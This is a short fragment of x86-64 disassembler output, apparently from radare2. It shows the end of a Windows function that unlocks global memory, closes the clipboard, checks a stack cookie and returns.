call fcn.180010fc0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180010fa0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret